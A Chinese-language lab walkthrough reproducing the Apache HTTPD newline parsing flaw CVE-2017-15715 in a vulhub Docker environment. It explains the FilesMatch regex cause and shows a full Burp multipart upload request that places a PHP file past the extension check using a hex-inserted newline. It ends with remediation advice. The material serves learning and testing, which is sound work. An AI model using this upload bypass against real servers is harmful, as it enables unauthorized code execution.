zl程序教程

您现在的位置是:首页 >  工具

当前栏目

05 - vulhub - Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache漏洞 解析 2017 05 CVE 换行 httpd
2023-09-14 09:14:27 时间

漏洞名称:Apache HTTPD 换行解析漏洞(CVE-2017-15715)

简介:
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

影响版本

Apache HTTPD 2.4.0~2.4.29

漏洞原理

在该版本的配置中

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

该部分内容就是只有匹配上面的正则表达式就可以进行绕过
使用我们在看一看正则表达式中$的意思

匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 \n\r。要匹配 $ 字符本身,请使用 $

所以如果设置 RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符(也就是%0a)


在这里插入图片描述


漏洞复现

环境准备

靶机环境   139.196.87.102  (vulhub)
攻击机环境  192.168.8.131  (虚拟机 Ubuntu 20、Java1.8、Burp)

启动 Apache HTTPD 换行解析漏洞(CVE-2017-15715) 环境

1.进入 vulhub 的 CVE-2017-15715
cd /usr/local/tools/vulhub/httpd/CVE-2017-15715

2.编译并启动环境
docker-compose up -d

3.查看环境运行状态
docker ps | grep CVE-2017-15715

在这里插入图片描述


访问 8080 端口


在这里插入图片描述


漏洞利用

访问 8080 端口,上传一个 php 文件,提示报错


在这里插入图片描述


在这里插入图片描述


此时打开 burp 进行抓包拦截,写入 php 文件内容,以及 hex 出对 php 文件后缀进行修改


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述



数据包如下

POST / HTTP/1.1
Host: 139.196.87.102:8080
Content-Length: 310
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.196.87.102:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLeE8UKghjLbbkwTx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.196.87.102:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: -http-session-=6::http.session::a7c40927f24b51084890c6583a8c8442
Connection: close

------WebKitFormBoundaryLeE8UKghjLbbkwTx
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/x-php

<?php
phpinfo();
?>
------WebKitFormBoundaryLeE8UKghjLbbkwTx
Content-Disposition: form-data; name="name"

test.php

------WebKitFormBoundaryLeE8UKghjLbbkwTx--

数据包转发成功

验证漏洞利用是否成功

访问刚才上传的/test.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞


在这里插入图片描述


修复建议

1、升级到最新版本
2、或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录可执行权限
3、或者干脆搞一个单独的文件存储服务器